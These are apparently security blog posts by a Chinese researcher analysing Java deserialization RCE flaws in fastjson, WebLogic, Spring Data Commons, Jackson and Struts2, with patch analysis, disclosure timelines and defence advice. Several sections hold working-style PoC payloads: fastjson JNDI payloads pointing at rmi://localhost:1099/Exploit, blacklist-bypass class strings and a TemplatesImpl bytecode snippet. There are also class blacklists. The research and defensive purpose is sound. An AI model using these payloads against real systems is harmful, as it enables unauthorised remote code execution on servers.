先知议题 Java反序列化实战解读

发表于 2018-06-20 | 分类于 java | | 阅读次数

1 议题和个人介绍

1.1 议题概述

2017年又是反序列漏洞的大年，涌现了许多经典的因为反序列化导致的远程代码执行漏洞，像fastjson，jackson，struts2，weblogic这些使用量非常大的产品都存在这类漏洞，但不幸的是，这些漏洞的修复方式都是基于黑名单，每次都是旧洞未补全，新洞已面世。随着虚拟货币的暴涨，这些直接的远程执行代码漏洞都成了挖矿者的乐园。
本议题将从那些经典案例入手，分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析，由于黑名单做了加密处理，这里会展开如何得到其黑名单，如何构造PoC。当然2018年的重点还是weblogic，由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞，带大家傲游反序列化的世界，同时也是希望开发者多多借鉴做好安全编码。

1.2 个人简介：

本文作者来自绿盟科技，现任网络安全攻防实验室安全研究经理，安全行业从业七年，是看雪大会讲师，Pycon大会讲师，央视专访嘉宾，向RedHat、Apache、Amazon，Weblogic，阿里提交多份RCE漏洞报告，最近的Weblogic CVE-2018-2628就是一个。

个人博客：xxlegend.com 个人公众号:廖新喜

2 反序列化入门

序列化和反序列化是java引入的数据传输存储接口，序列化是用于将对象转换成二进制串存储，对应着writeObject，而反序列正好相反，将二进制串转换成对象，对应着readObject，类必须实现反序列化接口，同时设置serialVersionUID以便适用不同jvm环境。
可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头：0xaced,TC_OBJECT:0x73,TC_CLASS:0x72,serialVersionUID,newHandle
使用场景:
• http参数，cookie，sesion，存储方式可能是base64（rO0），压缩后的base64（H4sl），MII等
• Servlets HTTP，Sockets，Session管理器包含的协议就包括JMX，RMI，JMS，JNDI等（\xac\xed）
• xml Xstream,XMLDecoder等（HTTP Body：Content-Type:application/xml）
• json(Jackson，fastjson) http请求中包含

反序列攻击时序图:

常见的反序列化项目：
• Ysoserial 原生序列化PoC生成
• Marshalsec 第三方格式序列化PoC生成
• Freddy burp反序列化测试插件
• Java-Deserialization-Cheat-Sheet

3 fastjson

3.1 简介

Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序
快速匹配”的算法，号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化，示例代码如下：

User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
String jsonString = "{\"name\":\"guest\",\"age\":12}"
User user = (User)JSON.parse(jsonString)

Fastjson PoC分类
主要分为两大类，一个是基于TemplateImpl，另外就是基于基于JNDI，基于JNDI的又可分为
a) Bean Property类型
b) Field类型
可以参考Demo：https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson为了防止研究人员研究它的黑名单，想出了一套新的黑名单机制，这套黑名单是基于具体类的hash加密算法，不可逆。如果是简单穷举，基本算不出来，后来我想到这些库的黑名单肯定都在Maven仓库中，于是写了个爬虫，爬取Maven仓库下所有类，然后正向匹配输出真正的黑名单类。

3.2 fastjson最近的几个经典漏洞

下面这段代码是fastjson用来自定义loadClass的实现

public static Class<?> loadClass(String className, ClassLoader classLoader) {
	//省略
     if (className.charAt(0) == '[') {
         Class<?> componen/tType = loadClass(className.substring(1), classLoader);
         return Array.newInstance(componentType, 0).getClass();
     }
     if (className.startsWith("L") && className.endsWith(";")) {
         String newClassName = className.substring(1, className.length() - 1);
         return loadClass(newClassName, classLoader);
     }
     try {
         if (classLoader != null) {
             clazz = classLoader.loadClass(className);

首先我们来看一个经典的PoC，{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},关于这个PoC的解读在我博客上有，这里不再详述，但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞，首先看1.2.41的绕过方法是Lcom.sun.rowset.RowSetImpl;,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符L和最后一个字符；吧，果不其然，在官方的修补方案中，如果以L打头，；结尾则会去掉打头和结尾。当时我就发了一个感概：补丁未出，漏洞已行。很显然，1.2.42的绕过方法是LLcom.sum.rowset.RowSetImpl;;,细心的读者还会看到loadClass的第一个if判断中还有[打头部分，所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp.
在官方版本1.2.45黑名单中又添加了ibatis的黑名单，PoC如下:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}，首先这是一个基于JNDI的PoC，为了更加理解这个PoC，我们还是先来看一下JndiDataSourceFactory的源码。

public class JndiDataSourceFactory implements DataSourceFactory {
  public static final String DATA_SOURCE = "data_source";
  //省略
  public void setProperties(Properties properties) {
    try {
      InitialContext initCtx = null;
      Hashtable env = getEnvProperties(properties);
      if (env == null) {
        initCtx = new InitialContext();
      } else {
        initCtx = new InitialContext(env);
      }
      //省略
      } else if (properties.containsKey(DATA_SOURCE)) {
        dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
      }
    } catch (NamingException e) {
      throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
    }
  }

其本质还是通过bean操作接口set来调用setProperties，然后触发JNDI查询。

4 weblogic

Weblogic是第一个成功商业化的J2EE应用服务器，在大型企业中使用非常广泛。在Oracle旗下，可以与其他Oracle产品强强联手，WebLogic Server Java EE 应用基于标准化、模块化的组件，WebLogic Server 为这些模块提供了一组完整的服务，无需编程即可自动处理应用行为的许多细节，另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示：

CVE-2015-4852

基于T3
• 新的攻击面
• 基于commons-collections
• 采用黑名单修复

org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

• 作用位置有限

1
2
3

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638

首先来看下漏洞位置，在readExternal位置，

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
  		super.readExternal(var1);
  		//省略
              ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
              ObjectInputStream var5 = new ObjectInputStream(var4);
              //省略
              try {
                  while (true) {
                      this.writeObject(var5.readObject());
                  }
              } catch (EOFException var9) {

再来看看补丁，加了一个FilteringObjectInputStream过滤接口

    		public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        		super.readExternal(var1);
        		//省略
                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
                    BufferInputStream is = this.payload.getInputStream();
                    FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
                    //省略
                    try {
                        while (true) {
                            this.writeObject(var5.readObject());
                        }
                    } catch (EOFException var9) {
```                    
FilteringObjectInputStream的实现如下：
```java
   public class FilteringObjectInputStream extends ObjectInputStream {
   public FilteringObjectInputStream(InputStream in) throws IOException {
      super(in);
   }
   protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
      String className = descriptor.getName();
      if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
      } else {
         return super.resolveClass(descriptor);
      }
   }
}

其实就是在resolveClass位置加了一层黑名单控制。

基于XMLDecoder

• CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞
• CVE-2017-10271 是3506的绕过
• 都是挖矿主力军
• 基于http协议
详细解读可参考我的博客：http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

CVE-2017-3248

private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
   protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
      String className = descriptor.getName();
      if(className != null && className.length() > 0 
      	&& ClassFilter.isBlackListed(className)) {
         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
      } else {
         Class c = super.resolveClass(descriptor);
   		//省略
      }
   }
   protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
      String[] arr$ = interfaces;
      int len$ = interfaces.length;
      for(int i$ = 0; i$ < len$; ++i$) {
         String intf = arr$[i$];
         if(intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
         }
      }
      return super.resolveProxyClass(interfaces);
   }

CVE-2017-3248 这个漏洞是根据JRMPListener来构造的，从这个补丁也可以看出，在resolveClass和resolveProxyClass都设置了黑名单。

CVE-2018-2628

这个漏洞是我报给Oracle官方的，但是他们并没有修复完全，导致后来这个漏洞被滥用。
• 完美绕过CVE-2017-3248
• 基于StreamMessage封装
• 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制
• Proxy非必须项
攻击示意图如下：

简单分析可见：http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

5 反序列化防御

5.1 Weblogic防御

• 过滤T3协议，限定可连接的IP
• 设置Nginx反向代理，实现t3协议和http协议隔离
• JEP290（JDK8u121，7u131，6u141），这个机制主要是在每层反序列化过程中都加了一层黑名单处理，黑名单如下：
黑名单：

maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*

当然也有失效的时候，就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。

5.2 原生反序列化防御

• 不要反序列化不可信的数据
• 给反序列数据加密签名，并确保解密在反序列之前
• 给反序列化接口添加认证授权
• 反序列化服务只允许监听在本地或者开启相应防火墙
• 升级第三方库
• 升级JDK，JEP290

6 招人

绿盟科技Web攻防实验室欢迎各位应聘，招聘大牛和实习生。团队专注于最前沿的Web攻防研究，大数据分析，前瞻性攻击与检测预研.
联系邮箱： liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com

pdf:

CVE-2018-2628 简单复现与分析

发表于 2018-04-18 | 分类于 java | | 阅读次数

1，概述

当地时间4月17日，北京时间4月18日凌晨，Oracle官方发布了4月份的关键补丁更新CPU（Critical Patch Update）,其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628)，这个漏洞是我在去年11月份报给Oracle的，通过该漏洞，攻击者可以在未授权的情况下远程执行任意代码。

参考链接：

http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

漏洞影响范围
Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

2，复现

第一步发送测试PoC，PoC中远程连接的服务器地址就是第二步中所使用的服务器，攻击的ip是192.168.3.103的7001端口上的T3服务，该服务会解包Object结构，通过一步步的readObject去第二步服务器上的1099端口请求恶意封装的代码，然后在本地弹出计算器。

第二步在远程服务器上启用ysoserial.exploit.JRMPListener，JRMPListener会将含有恶意代码的payload发送回请求方。

查看weblogic的日志，可以看到如下错误，此时已经弹出计算器：

3，分析

Weblogic已经将互联网暴露的PoC都已经加入了黑名单，如果要绕过他的黑名单的限制就只能自己动手构造。来看看InboundMsgAbbrev中resolveProxyClass的实现，resolveProxyClass是处理rmi接口类型的，只判断了java.rmi.registry.Registry，其实随便找一个rmi接口即可绕过。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

其实核心部分就是JRMP（Java Remote Method protocol），在这个PoC中会序列化一个RemoteObjectInvocationHandler，它会利用UnicastRef建立到远端的tcp连接获取RMI registry，加载回来再利用readObject解析，从而造成反序列化远程代码执行。
大致的调用栈如下：
readObject:66, InboundMsgAbbrev (weblogic.rjvm), InboundMsgAbbrev.java
-》readExternalData:1810, ObjectInputStream (java.io), ObjectInputStream.java
—》readExternal:1433, StreamMessageImpl (weblogic.jms.common), StreamMessageImpl.java
—–》readObject:455, RemoteObject (java.rmi.server), RemoteObject.java

披露时间线：
2017/7/19：发现问题
2017/11/23：报告给Oracle官方
2017/11/29：Oracle官方接收
2017/11/30：Oracle官方分配bug号(S0947640)，正式进入主线版本修复
2017/11/30：索要公司域名邮箱
2018/4/14：分配CVE，CVE-2018-2628
2018/4/17：发布补丁

CVE-2018-1273 RCE with Spring Data Commons 分析报告

发表于 2018-04-12 | 分类于 Java | | 阅读次数

1，漏洞公告：

链接：https://pivotal.io/security/cve-2018-1273
Severity：Critical
Vendor：Spring by Pivotal

Description
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.

Affected Pivotal Products and Versions

Severity is critical unless otherwise noted.

Spring Data Commons 1.13 to 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 to 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 to 3.0.5 (Kay SR5)
Older unsupported versions are also affected

Mitigation
Users of affected versions should apply the following mitigation:

2.0.x users should upgrade to 2.0.6
1.13.x users should upgrade to 1.13.11
Older versions should upgrade to a supported branch

Releases that have fixed this issue include:

Spring Data REST 2.6.11 (Ingalls SR11)
Spring Data REST 3.0.6 (Kay SR6)
Spring Boot 1.5.11
Spring Boot 2.0.1

There are no other mitigation steps necessary.

Note that the use of authentication and authorization for endpoints, both of which are provided by Spring Security, limits exposure to this vulnerability to authorized users.

Credit
This issue was identified and responsibly reported by Philippe Arteau, GoSecure Inc.

References

2，补丁分析：

补丁的内容：DATACMNS-1282 - Switched to SimpleEvaluationContext in MapDataBinder.很明显这是一个spel表达式注入漏洞。补丁的内容如下：

补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext，由于StandardEvaluationContext权限过大，可以执行任意代码，会被恶意用户利用。
SimpleEvaluationContext的权限则小的多，只支持一些map结构，通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持，详情可查看SimpleEvaluationContext的实现。

3，PoC构造：

PoC的构造实在可以说路途忐忑，首先官方的描述信息带有一点误导的作用，当然也有可能是我水平不够，没有找到利用点。Spring官方说一个恶意攻击者可以构造任意参数来攻击Spring Data REST支持的http资源或者Spring Data’s projection的请求绑定来达到远程攻击的目的。再加上官方给的链接，直接就盯上了projection这个项目。特别是里面提到的json自动绑定技术。仔细阅读官方资料，发送payload调试，加断点，没有一点反响，肯定是漏洞没触发呗。简单粗暴的方式行不通，只能一个节点一个节点的分析调试。

首先拉取项目https://github.com/spring-projects/spring-data-examples/ ，修改pom.xml中parent节点为

<parent>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-parent</artifactId>
   <version>2.0.0.RC1</version>
</parent>

为什么要降到这个版本，是因为spring-data-commons在2.0.5版本就拒绝了SpEl表达式，添加了如下代码：

1
2
3

context.setTypeLocator(typeName -> {
   throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
})

初步研究了下，我也绕不过，就只能再降低个版本了。详细release说明见：https://github.com/spring-projects/spring-data-commons/blob/d8a1c2cfde78e87cd4bae3bfcc9782750a783b0b/src/main/resources/changelog.txt

导入到IDEA里，打开项目web[spring-data-web-example]中的UserController.java

@Controller
@RequiredArgsConstructor
@RequestMapping("/users")
class UserController {
   private final UserManagement userManagement;
   /**
    * Registers a new {@link User} for the data provided by the given {@link UserForm}. Note, how an interface is used to
    * bind request parameters.
    *
    * @param userForm the request data bound to the {@link UserForm} instance.
    * @param binding the result of the binding operation.
    * @param model the Spring MVC {@link Model}.
    * @return
    */
   @RequestMapping(method = RequestMethod.POST)
   public Object register(UserForm userForm, BindingResult binding, Model model) {
      userForm.validate(binding, userManagement);
      if (binding.hasErrors()) {
         return "users";
      }
      userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));
      RedirectView redirectView = new RedirectView("redirect:/users");
      redirectView.setPropagateQueryParams(true);
      return redirectView;
   }

注意到如下代码：
@RequestMapping(method = RequestMethod.POST) public Object register(UserForm userForm, BindingResult binding, Model model)
这其中就有UserForm，BindingResult, Model，为啥会是从这个接口进入呢？还是要从问题点出发，也就是MapDataBinder的实现。存在问题的代码是MapDataBinder.setPropertyValue,但是怎么被调用起来的还是挺复杂，慢慢可以看出是ProxyingHandlerMethodArgumentResolver使用了MapDataBinder的接口，实现大体如下：

public class ProxyingHandlerMethodArgumentResolver extends ModelAttributeMethodProcessor
      implements BeanFactoryAware, BeanClassLoaderAware {
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
      NativeWebRequest request) throws Exception {
   MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
   binder.bind(new MutablePropertyValues(request.getParameterMap()));
   return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

这块又是怎么调用起来的，只能找官方文档了，找到了这么一处，http://ju.outofmemory.cn/entry/125029
从这里可以看出一些端倪，

interface Form {
  @NotBlank String getName();
  @NotBlank String getText();
}
@Controller
@RequestMapping(value = "/guestbook")
class GuestbookController {
  @RequestMapping(method = RequestMethod.GET)
  String guestbook(Form form, Model model) { … }
  @RequestMapping(method = RequestMethod.POST)
  String guestbook(@Valid Form form, Errors errors, Model model) { … }
}

在处理类似代码的时候会用到ProxyingHandlerMethodArgumentResolver，总算上了半点道，这里Form，有Model，对Spring 真是不熟悉，特别是各种各样的注解，看着也头疼，而且不好调试，只能偷懒了，找官方项目，于是找到了web[spring-data-web-example]，其实这个早已经在看了，只是前面看了点又放弃了，还好，PoC一发立马弹出计算器。当然这个PoC已经单步调试过，单步调试的坑也是非常多，比如说找可写权限的属性等这里暂且先不说了。只是这次这次直接从web请求触发。具体的栈图如下：

最后给大家放个图，以证明漏洞有效，计算器图：

其实username，password，repeatedPassword字段都可以添加漏洞利用代码。还有一点就是[]是嵌套属性的写法，在[]中间可以写入表达式，先找到username，这个也是跟这个表单属性绑定的，具体的代码如下：

interface UserForm {
    String getUsername();
    String getPassword();
    String getRepeatedPassword();

2017年反序列化漏洞年度报告

发表于 2018-01-25 | 分类于 Java | | 阅读次数

2017年反序列化漏洞年度报告

Jackson,fastjson,XStream,XMLDecoder,WebLogic,反序列化漏洞，年度报告

背景

2017年OWASP发布了新的十大web漏洞威胁，其中A8:2017就是不安全的反序列化，A9:2017-使用含有已知漏洞的组件也和反序列化紧密相连，这是因为在Java开发中很多代码都依赖于第三方组件，而这些组件可能会存在反序列漏洞，典型的例子就是Jackson，fastjson，XStream，XMLDecoder等开源组件。绿盟科技NS-SRC 处理的漏洞应急中就有很大一部分是反序列化漏洞，下面我们来一一分析2017年我们应急的那些反序列化漏洞。
总得来说，2017年出现的反序列化漏洞和以往反序列漏洞在漏洞形成方式上不太一样，在以往都是由于Java自身的反序列特征导致的漏洞，2017年则多了fastjson，Jackson等，这两个库都能将json文本转换成具体的java bean，在这个转换过程中会导致远程代码执行。
本报告重点回顾2017年绿盟科技重点应急，影响面非常广的那些反序列化漏洞。从这个报告中能看出反序列化漏洞的发展，攻击方和防御方不停的对抗过程，bypass和反bypass在这个过程中体现得淋漓尽致。

概述

从3月份爆出Fastjson的反序列化特性导致的远程代码执行，四月份则是Jackson，Log4j2，Jenkins的反序列化造成的远程代码执行，接着6月份流出了Weblogic CVE-2017-3248的利用代码。稍微消停了一会，Struts2又被安全研究人员盯上，爆出Struts2-052，又是一个远程代码执行。在11月份，由于Jackson官方对漏洞不敏感，接着又被曝CVE-2017-15095，又一个绕过。进入12月份，Fastjson和Jackson相继发布了几个补丁修复那些黑名单的绕过；Weblogic XMLDecoder(CVE-2017-10352)的漏洞被广泛应用于于挖坑。由于很多漏洞都是远程代码执行，有的一个HTTP POST请求就能getshell，所以备受黑产亲睐。

反序列化漏洞

1 fastjson反序列化漏洞

2017年3月15日，fastjson官方发布安全公告表示fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。fastjson官方建议直接升级到1.2.28/1.2.29或者更新版本来保证系统安全。4月29日，本文作者（xxlegend）构造出了Fastjson的反序列漏洞的PoC，引起了安全圈的广泛讨论。详细的分析可参照1，下面做简单的回顾。

1.1 补丁

在ParserConfig.java中添加了checkAutoType，不论用户是否开启了autoTypeSupport功能，在类名被加载时都需要通过额外的一层处理（来判断是否在acceptlist里），只有满足了此限制的类名才会被加载。另外引入了黑名单机制，在开启了autoTypeSupport的情况下，如果加载的是黑名单中类也会抛出异常。补丁核心代码如下：

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }
        if (typeName.length() >= maxTypeNameLength) {
            throw new JSONException("autoType is not support. " + typeName);
        }
        final String className = typeName.replace('$', '.');
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
            return clazz;
        }

1.2 初略分析

静态分析得知，要构造一个可用的poc，肯定得引入denyList的库。这里我们就引入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
       String text1 = "{\"@type\":\"" + NASTY_CLASS +
               "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
               "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
       System.out.println(text1);
      
       Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

最核心的部分是_bytecodes，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，这没关系，我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象，这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。整个PoC的执行过程的调用栈如下:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

更多的原理分析可见2 。

1.3 后续官方修补

fastjson官方后续又添加了一些补丁，本文作者给fastjson官方提交了两次绕过，fastjson官方都发布了相应更新。具体如下：

fastjson-1.2.34版本发布，当autoType=true时增强安全防护
fastjson-1.2.42版本发布 Bug修复安全加固
fastjson-1.2.43版本发布 Bug修复安全加固
fastjson-1.2.44版本发布 Bug修复安全加固

在fastjson-1.2.42版本中通过异或操作混淆了其黑名单，可以阻挡一部分人分析其黑名单内容，其实这是自欺欺人的。具体的黑名单分析读者可以自行研究。

2 Jackson反序列化

Jackson是一个开源的Java序列化与反序列化工具，可以将java对象序列化为xml或json格式的字符串，或者反序列化回对应的对象，由于其使用简单，速度较快，且不依靠除JDK外的其他库，被众多用户所使用。但是其组件Jackson-databind可以指定特定的反序列化类，这样就存在代码执行的风险。

2.1 CVE-2017-7525

这个CVE是本文作者报告的。下面来看一个Jackson官方的补丁，这个补丁主要是将TemplatesImpl加入了黑名单，从后续的CVE就可以看出这是远远不够的，可以通过各种方式绕过。

+    protected void checkIllegalTypes(DeserializationContext ctxt, JavaType type,
+            BeanDescription beanDesc)
+        throws JsonMappingException
+    {
+        // There are certain nasty classes that could cause problems, mostly
+        // via default typing -- catch them here.
+        Class<?> raw = type.getRawClass();
+        String name = raw.getSimpleName();
+
+        if ("TemplatesImpl".equals(name)) { // [databind#1599]
+            if (raw.getName().startsWith("com.sun.org.apache.xalan")) {
+                throw JsonMappingException.from(ctxt,
+                        String.format("Illegal type (%s) to deserialize: prevented for security reasons",
+                                name));
+            }
+        }
+    }
 }

2.1.1 分析

Jackson在反序列的过程中，首先扫描输入的json文件，分析其要反序列的类，通过反射的方式获取该类的构造方法，包括无参构造方法和有参构造方法，获取其setter，getter方法用于操作具体的类的属性。反序列的过程就是先通过反射得到一个实例，通过其setter或者getter方法给该实例的属性赋值，当然如果引入的类的setter方法或者getter方法中存在执行一些一些危险的操作，如利用rmi远程加载类则会造成远程代码执行缺陷。PoC示例图
详细分析可参考3。

后续官方修补

CVE-2017-15095是CVE-2017-7525的延续，这个漏洞同样也是本文作者报告的。同样是黑名单的绕过。
CVE-2017-17485是CVE-2017-7525的延续，这个漏洞引入的类是org.springframework.context.support.ClassPathXmlApplicationContext,利用这个库的bean重新生成类，而这个bean所依赖的xml是由攻击者来定制的。从这里也可以看出黑名单就是个无底洞，深不可见，bypass也是不完。由于Jackson的特性，可以预测，Jackson在2018年还将出现更多的绕过。

3 Struts2

struts2号称漏洞之王，2017应急中就处理了S2-045，S2-046，S2-48，S2-052，S2-055，都是远程代码执行级别的漏洞。S2-045的PoC现在还被黑客用于各种漏洞扫描，挖矿。既然是漏洞之王，那自然少不了反序列化，S2-052（CVE-2017-9805）就是XStream使用不当造成的反序列化。S2-055则是由于Jackson-databind导致的反序列化。这两个漏洞的典型特点都是不恰当的使用第三方库导致的。

3.1 S2-052分析

根据官方的描述信息来看，是REST插件使用到XStreamHandler处理xml数据的时候，由于未对xml数据做任何过滤，在进行反序列将xml数据转换成Object时导致的RCE。

3.1.1 补丁

补丁的核心部分如下：

+    protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
 +        stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
 +        if (invocation.getAction() instanceof ModelDriven) {
 +            stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
 +        }
 +        stream.addPermission(NullPermission.NULL);
 +        stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
 +        stream.addPermission(ArrayTypePermission.ARRAYS);
 +        stream.addPermission(CollectionTypePermission.COLLECTIONS);
 +        stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
 +    }

主要就是将xml中的数据白名单化，把Collection和Map，一些基础类，时间类放在白名单中，这样就能阻止XStream反序列化的过程中带入一些有害类。

3.1.2 分析

首先分析入口文件，在Struts2的配置文件中有如下xml描述信息：

1
2

<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="xml" class="org.apache.struts2.rest.handler.XStreamHandler"/>
<constant name="struts.action.extension" value="xhtml,,xml,json"/>

也就是说ContentType为xml的所有请求都会交给XStreamHandler来处理，XStreamHanler.toObject调用了XStream.fromXml来处理那些请求中的xml信息，从而进入反序列化流程。
这里面最有意思的应该是官方给的临时缓解措施不起作用，官方给出的缓解措施<constant name="struts.action.extension" value="xhtml,,,json" />，从字面意思也能看出来，这个是针对action的后缀的，也就是说如果后缀不带xml也就可以绕过。而POST请求一般不带xml后缀直接忽视这个缓解措施。下图就是一个示例：
所以说Struts的官方也是根据PoC修漏洞，没完全测试过的东西就直接放出来。XStream只跟Content-Type有关，如果Content-Type中含有xml，则会交给XStream处理，更多的详情分析见4

3.2 S2-055分析

S2-055补丁

没有提供补丁，只是提醒升级Jackson库版本。

S2-055分析

为了让Jackson支持多态，Jackson官方提供了几种方式，第一种全局Default Typing机制，第二种为相应的class添加@JsonTypeInfo注解。这里会启用第二种方式，在第二种方式中，大体代码如下：

1 2	@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName;

在clientName上方添加注解，打开支持多态的特性，这样我们就能指定clientName的类型；另一个是将clientName的类型改为Object类型，这样就避免了类型不匹配或者不是其子类的错误。
另外Jackson不是默认句柄，需要设置ContentTypeHandler，这样当Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理。具体的PoC就是Jackson的PoC，这里不再展示，详情分析见5。这个漏洞和S2-052非常类似，都是引用的第三方库存在缺陷导致的漏洞，这样的案例数不胜数，在Java生态中简直就是一个灾难，第三方依赖实在太多。

4 Weblogic

在2017年，整个Oracle的产品线都深受反序列化影响，其中Weblogic影响面尤其广泛，很多漏洞的CVSS评分都是9.8，9.9甚至为10。

而且CVE-2017-3248的PoC已经在github上，并且被用于黑产，CVE-2017-10352 PoC也被泄露同样被用于黑产。

###4.1 CVE-2017-3248 分析

